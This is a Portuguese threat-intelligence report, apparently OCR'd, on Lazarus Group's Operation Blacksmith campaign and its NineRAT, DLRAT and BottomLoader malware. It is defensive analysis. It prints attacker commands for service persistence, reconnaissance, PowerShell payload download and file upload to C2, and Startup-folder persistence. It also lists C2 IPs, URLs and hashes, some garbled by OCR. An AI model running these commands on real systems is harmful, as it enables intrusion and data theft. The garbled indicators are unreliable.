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1 SUMARIO EXECUTIVO

A Cisco Talos publicou uma analise sobre uma nova campanha
conduzida pelc Grupo Lazarus que foi denominado *“Operagéo
Blacksmith”, a qual estaria empregando o usc de trés novas familias
baseadas em DLang, duas das quais séo trojans de acesscs remotos
(RATs), onde uma utiliza bots do Telegram e canais como meio de
comunicacac de comando e controle. O RAT baseado em Telegram como
“NineRAT” e o RAT n&o baseado no Telegram como "DLRAT". O
Downloader utilizado baseade em DlLang foi denominado como
“BottomlLoader”.

As ultimas analises publicadas descobriram uma mudancga
definitiva nas taticas do grupo norte-coreano APT Lazarus Group. Além
disso, foram observadas sobreposicdes entre nossas descobertas nests
campanha conduzida por Lazarus, incluindc taticas, técnicas e
procedimentos (TTPs) consistentes com o grupo patrocinado pelo estado
norte-coreanc Onux Sleet (PLUTIONIUM), também conhecido como
grupo Andariel {APT). Ele é considerado um grupo sobre as dticas do
Lazarus.

A campanha consiste no direcionamento opertunista continuo de
empresas em todo o mundo que hospedam publicamente e expde suas
infraestruturas vulnerdveis a exploragdo de vulnerabilidade de diversos
dias, como a CVE-2023-44228 {Logdj). Logo foi observado que o Lazarus
tem come alvo empresas industriais, agricolas e de seguranga fisica.
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2 OPERACAO BLACKSMITH

A operagdo Blacksmith envolveu a exploragéo da CVE-2023-44228,
também conhecida como LogdShell ¢ 0 uso de um RAT baseado em
DLang anteriormente desconhecido utilizando Telegram como seu canal
C2.Q NineRAT foi inicialmente construido por volta de maio de 2022 e foi
usado pela primeira vez nesta campanha ja em marco de 2023, quase um
ano depois, contra uma organizagdo agricola sul-americana. Foi
cbservado entdo que o NineRAT estaria sendo usado novamente por volta
de setembro de 2023 contra uma entidade industrial europeia.

Na analise, a Talos encontrocu sobreposicado com os atagues
maliciosos divulgados pela Microsoft em outubro de 2023, atribuindo a
atividade ao Cnyx Sleet, também conhecido como PLUTIONIUM ou
Andariel,

Vale salientar que existem cutras equipes que operacic para a
Coreia do Norte, sempre com o foco de atingir os objetivos em defesa,
politica, seguranca nacional e investigacdo e desenvolvimento. Cada
subgrupo acaba por operar suas préprias campanhas e desenvolve e
implementa malware personalizadc contra os seus alvos.

A campanha atual, Operacéo Blacksmith, consiste em semelhancgas
e scbreposicdes em ferramentas e taticas observadas em ataques
anteriores conduzidos pele grupc Andariel dentro do Lazarus.

Um artefato comum nesta campanha foi "HazylLoad”, uma
ferramenta de proxy personalizada anteriormente vista apenas no
relatério da Microsoft. A Talos descobriu gque o Hazyload tinha como alvo
uma empresa eurcpeia e subsidiaria americana de uma empresa sul-
coreana de seguranca fisica e vigilancia ja em maio de 2023,

Além do Hazyl oad, descobriram que o NineRAT e mais duas familias
distrinas de malwares {(ambas baseadas em DLang}, sendc usadas pelo
Lazarus, incluindo uma familia RAT conhecida como “DLRAT" & um
download que apelidaram de "BottomlLoader”, destinado a baixar cargas
adicionais, como Hazyl oad, em um endpoint infectado.
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3 ADOCAO DO DLANG NO MALWARE LAZARUS

O NineRAT usa o Telegram como canal C2 para aceitar comandos,
comunicar suas saidas e até mesmo para transferéncias de arquivos de
entrada e saida. O uso do Telegram pelo Lazarus provavelmente evitarég
medidas de deteccao baseadas em rede e host, ao empregar um servico
legitimo como canal de comunicagao C2.

Ele consiste em trés componentes, um binaric “dropper” que
contém dois outros componentes incorporados nele. O dropeer gravard
os dois componentes no disco e se excluird. O primeiro componente é um
instrumentador, chamado “nsIockup.exe” (o “I” maiusculo ao invés de L
minusculo) que executard o segundoc componente e utilizado no
mecanismo de persisténcia. A Cadeias de infecgdo modulares como essas
sdo frequentemente usadas por agentes de ameagas para atingir uma
infinidade de objetivos, desde evasio de defesa até a separagdo funcional
de componentes que podem ser atualizados ou modificados, evitando
operagdes ruidosas em um sistema infectado.

Q dropper configurara a persisténcia para ¢ primeiro componente
usando um script BAT. © mecanismo de persisténcia aceita um nome de
servico, o caminho para o primeiro componente e pardmetros de criacao
de servico:

Service Creation command

sc create Aarsvc_XXXXXX  binPath=c:\windows\system32\nslookup.exe -k
AarSvcGroup -p type=own  start=auto  DisplayName=Agent  Activation
Runtime XXXXXX

v |}, DATA 1 |C:\windows\system32\Microsoft\Security\SecurityHealth.exe
wr PATH : 1033

Figura 1 — Caminho para o malware NineRAT no disco.

Com o NineRAT ativado, o malware se torna o principal método de
interacéo com o host infectado. Porém, mecanismos de backdoor
implantados anteriormente, como a ferramenta de proxy reverso
HazylLoad, permenecem em vigor. Qs canais do Telegram C2 usados pelo
malware levaram & descoberta de um bot do telegram anteriormente
publico “(@StudyJO01Bot)” que foi aproveitado pelo Lazarus no NineRAT.

O NineRAT interage com ¢ canal do Telegram usando bibliotecas
baseadas em DLang implementadas para se comunicar com as APIs do
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Telegram. Inicialmente, o implante testa a autenticacdo usando método
getMe. O implante pode fazer upload de documentos para o Telegram
usando o método /endpoint sendDocument através do getFile. © malware
pode aceitar os seguintes comandos do seu operador do Telegram:

Comando Capacidade
: Reuna informagdes preliminares sobre o sistema
/info \
infectado.
/setmtoken Defina um valor de token.
[setbtoken Defina um novo token de bot,

Defina o intervale de tempo entre as pesquisas de
malware no canal Telegram.
Defina o intervalo de tempo entre as pesquisas de

/setinterval

setslee

/ P malware no canal Telegram.
Defina um periodo durante o qual o malware deve

fupgrade .
permanecer inativo.

lexit Saia da execucao do malware.

/uninstall Desinstale-se do endpoint

Isendfile !Erwie um arguivo para o servidor C2 do endpoint
infectado.

Tabela 1 — Comandos que podem ser usados pelo Bot.

O NineRAT também pode desinstalar-se do sistema usando um
argquivo BAT.

Abaixo estao alguns dos comandos executados pelo NineRAT pars
reconhecimento:

Comando Mitre AttSck

Descoberta de informacdes do sistema

Wh i
oam! (T1082)
. ) Descoberta de informacdes do sistema
Wmic os get osarchitecture (T1082)

WMIC /Nodelocalhost
/Namespacetroot\SecurityCenter?
Path AntiVirusProduct Get
displayName

Descoberta de software (T1518)

Tabela 2 — Comandos usados pelo NineRAT para reconhecimento.
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Partindo da amostra, foram descobertas duas familias de malware
escritas em DLang por Lazarus, um deles simplesmente um downloader
que foi rastreado como “BottomLoader”, destinado a baixar e executar a
carga util do préximo estagio de um host remoto como HazylLoad:

http://162.19.71.175:7443/sonic/bottom.gif

?index=0

?index=1

cmd.exe

error
C:\\D\\dmd-2.096.1\\windows\\bin\\..\\..\\src\\phobos\\std\\range\\primitives.d
Invalid length of encoded data
C:\\D\\dmd-2.096.1\\windows\\bin\\..\\..\\src\\phobos\\std\\baset4.d

Invalid character:

std.stdio.File.ByLineImpl!(char, char).ByLineImpl.Impl
C:\\D\\dmd-2.096.1\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d

Attempt to read from an unopened file.

Enforcement failed
C:\\D\\dmd-2.096.1\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d

Invalid UTF-8 sequence

Attempted to decode past the end of a string
C:\\D\\dmd-2.096.1\\windows\\bin\\..\\..\\src\\phobos\\std\\algorithm\\searching.d

Figura 2 — Strings de carga util incorporado no downloader baseado em DLang, BottomLoader.

BottomlLoader pode baixar a carga Util do proximo estagio de uma
URL remota codificada por meio de um comando do PowerShell:

powershell Invoke-webrequest -URI <URL> -outfile
<file location on system>
Tabela 3 — Comando via PowerShell para download de outra carga.

Fle também pode fazer upload de arguivos para o C2, novamente
usando o PowerShell:

powershell (New-Object
System.Net.WebClient) .UploadFile('<file path>', '<remote url>')
Tabela 4 — Comando via PowerShell para upload de arquivos.

O BottomLoader também pode criar persisténcia para versdes mais
recentes ou cargas de acompanhamento completamente novas, criando
um arquivo “UJRL" no diretdrio de inicializagdo para executar o comando
do PowerShell para baixar a carga. O arquivo URL & construido usando os
seguintes comandos:
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echo [InternetShortcut] > "%appdata$\Microsoft\Windows\Start
Menu\Programs\Startup\NOTEPAD.url"

echo URL="" >> "$appdata$\Microsoft\Windows\Start
Menu\Programs\Startup\NOTEPAD.url"
echo IconFile=C:\WINDOWS\system32\SHELL32.d1l1 >>

"$appdata$\Microsoft\Windows\Start
Menu\Programs\Startup\NOTEPAD.url"
echo IconIndex=20 >> "$appdata$\Microsoft\Windows\Start
Menu\Programs\Startup\NOTEPAD.url"

Tabela 5 — Comandos utilizados para criagao de arquivo .URL.

Q outro malware é um downloader e RAT, rastreamos como
“DLRAT", que pode ser usado para implantar malware adicional e
recupera comandos do C2 e executa-los nos endpoints infectados.

DLRAT: RAT e um downloader baseado em DLang.

QO malware contém comandos codificados para realizar o
reconhecimente do sistema. Comeca executando os comandos no
endpoint para coletar informagdes preliminares sobre o sistema: “ver”,
“whoami” e “getmac”. Com iss0, as operadoras terfo informagbes sobre a
versao do sistema operacional, qual usuaric estd executando o malware e
o endereco MAC que permite identificar o sistema na rede.

sub rsp, 2©h

call execute_ver

add rsp, 2eh

mov r8, cs:off_14016F138
mov [r8+48h], rax

mov [r8+58h], rdx

sub rsp, 2€h

call execute_whoami

add rsp, 2©h

mov r9, cs:off_14016F138
mov [r9+58h], rax

mov [r9+66h], rdx

sub rsp, 2©h

call execute_getmac

Figura 3 — Snippet de cddigo DLRAT que consiste em recursos preliminares de coleta de dados.
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Uma vez realizada a primeira inicializacdo e beacon, é criado um
arquivo de inicializagao, no mesmo diretéric, com o nome “SysUnst.ini”.

Apds sinalizar para o C2, 0 RAT postara, em formatc multiparte, as
informacdes coletadas e as informacdes da sesséo codificadas.

Content-Length: 254

Host: 201.77.179.66:8082

Connection: Keep-Alive

Content-Type: multipart/form-data; boundary=f71d9969-1083-4bf5-al3e-791e6527c503
Accept-Encoding: gzip,deflate)

-—171d9969-1083-4bf5-al3e-791e6527c503

Content-Disposition: form-data; name="type";

-—171d9969-1883-4bf5-al3e-791e6527c503
Content-Disposition: form-data; name="session";

23wfowd2rofw3i9ing23
——f71d9969-1083-4bf5-al3e-791e6527c503—

Keep-Alive: timeout=5, max=10@
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

7 Redacted 1

Figura 4 — Informagdes da sessdo coletadas.

Durante a andlise, foi descoberto que o ID de informagdes de
sessdes usando pelo DLRAT come parte de suas comunicagdes com seu
servidor C2 é “23wfow(2rofw391ng23”, que € o mesmo valor que entramos
durante a pesquisa sobre o MagicRAT.
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mov rad, 40h ; 'M' ; MIN3Zm93MDIyb2Z3MzkxbmcyMw= =->
; "23wfowd2rofw39ing23”

mov [rbx], r9b

mov riled, 6Ah ; "3’

mov [rbx+1], rileb

mov r&d, 4Eh ; 'N'

mov [rbx+2], r8b

mov edx, 33h ; '3’

mov [rbx+3], dl

mov byte ptr [rbx+4], S&h ; 'Z

mov ecx, 6Dh ; 'm'

mov [rbx+5], €l

mov byte ptr [rbx+6], 3%h ; '9'

mov [rbx+7], dl

mov [rbx+8], r9b

mov rlld, 44h ;

mov [rbx+9], rillb

mov eax, 44Ah ; "1

mov [rbx+8Ah], al

mov edi, 79h ; 'y’

mov [rbx+8Bh], dil

mov byte ptr [rbx+8Ch], 62h ; 'b’

mov byte ptr [rbx+8Dh], 32h ; '2'

mov byte ptr [rbx+8Eh], 5Ah ; 'Z°'

mov [rbx+8Fh], dl

mov [rbx+18h], rob

mov byte ptr [rbx+l1lh], 7Ah ; 'z’

mov edx, 6Bh ; "k’

mov [rbx+12h], d1

mov ecx, 78h ; 'x'

mov [rbx+13h], cl

mov byte ptr [rbx+14h], 62h ; 'b’

mov byte ptr [rbx+15h], 6Dh ; 'm’

mov byte ptr [rbx+lsh], €3h ; 'c’

mov [rbx+17h], dil

mov [rbx+18h], rsb

mov byte ptr [rbx+1%h], 77h ;

mov eax, 3Dh ; '='

movzx eax, al

Figura 5 —ID de sessdo codificado em DLRAT, o mesmo que o MagicRAT.

Aresposta C2 contém apenas o enderego IP externo do implante. O
malware reconhece os seguintes cédigos/nomes de comando enviado
pelos servidores C2 para executar agbes correspondentes no sistema

infectado:
Comando Capacidade
deleteme Exclua-se do sistema usando um arguivo BAT.
download Baixe arguivos de um local remoto especificado.
rename Renomeie arquivos no sistema.
lamsleep Instrui o implante a adormecer por um periodo
especificado.
upload Carregar arquivos para G2,
showurls Comando vazio (ainda ndo implementado}.

Tabela 6 — Comandos e resposta utilizados pelo C2.
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A Talos ainda desenvolveu o fluxc de ataque para a exploragio da
CVE-2021-44228, também conhecido como Logd4Shell, em servidores
VMWare Horizon voltados publicamente, como meio de acesso inicial a
servidores publicos vulneréveis.

Typical Infection Chain

Preliminary
recon

Deploy
implant

i
P (o2 w]
Ea

C2 Server

Establish
persistence

Figura 6 — Fluxo de infecgdo observada na Blacksmith.
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4 INDICADORES DE COMPROMETIMENTO

A seguir, constam os Indicadores de Compromissos relacionados a
campanha identificada da Lazarus Group (Operacédo Blacksmith),

HazylLoad
0O00752074544950829020a35ccd77de277f1cd5026b4b559279dc3bB6965eece

NineRAT
534f5612954db99c86baab7ef51a3ad88be21735bece7bb591afa8a4317¢35433
baBcd92cc059232203bcadee?260ddbae273fc4c89b18424974955607476982¢c4
47eC17b40d418374c088%e4d22aa48633b1d41016b81b12897a391126 435 30
fa1188d23h14526676706a5c8cad05¢c1a%1ealbidEac202623bc565e1c20Ca59
5b02fc3cfb5d74c08cab724b5b54¢53a7c07e5766bfe5h1adf782¢c0e86a8541
82d4a0fef550af4f01a07041c16d8517262d859a3352475¢62630e2¢16a21def

BottomLoader
0ed16e3ccl1673d8fc3e7b24692491c005152b9328515ea9bbd 7ef96f1d23a00f

DLRAT
e615ea30dd37644526060689544¢181d263h6 0L 77fe3084aa78283669¢1fde2f
9a48357c06758217b3a99cdf4akb83263¢c04bdea98c347dd4bh254cabéc81bl3a

Tabela 7 — Indicadores de Compromissos.

URLSs de distribuicac e enderecos IP C2:

tech[ Imicrsofts[ lcom
tech[.Jmicrsofts[.Jtech

27[.1102[.113[.]193

185[.]22[.]18[.153

165[.194[1208[ 1209
162[. L1175
2L177L. 1170168
hxxp://27LNO2LIN3BL193/inet[1txt
hxxpl//Me2L N9L171[. 11757443 /sonic/bottom[.]gif

hxxpl// 1200770 79[ 166:2082/img/Index[Jphp

hxxpl//120L1770.11791.166:8082/img/images/header/B6N646 2NEBAEECL 1gif

Tabela 8 — Indicadores de rede relacionado ao Lazarus Group

Obs: Os {inks e enderegos IP elencadoes acima podem estar ativos; cuidado ao
realizar a manipulagéo dos referidos IoCs, evite realizar o clique & se tornar
vitima do conteldo malicioso hospedado no ToC.
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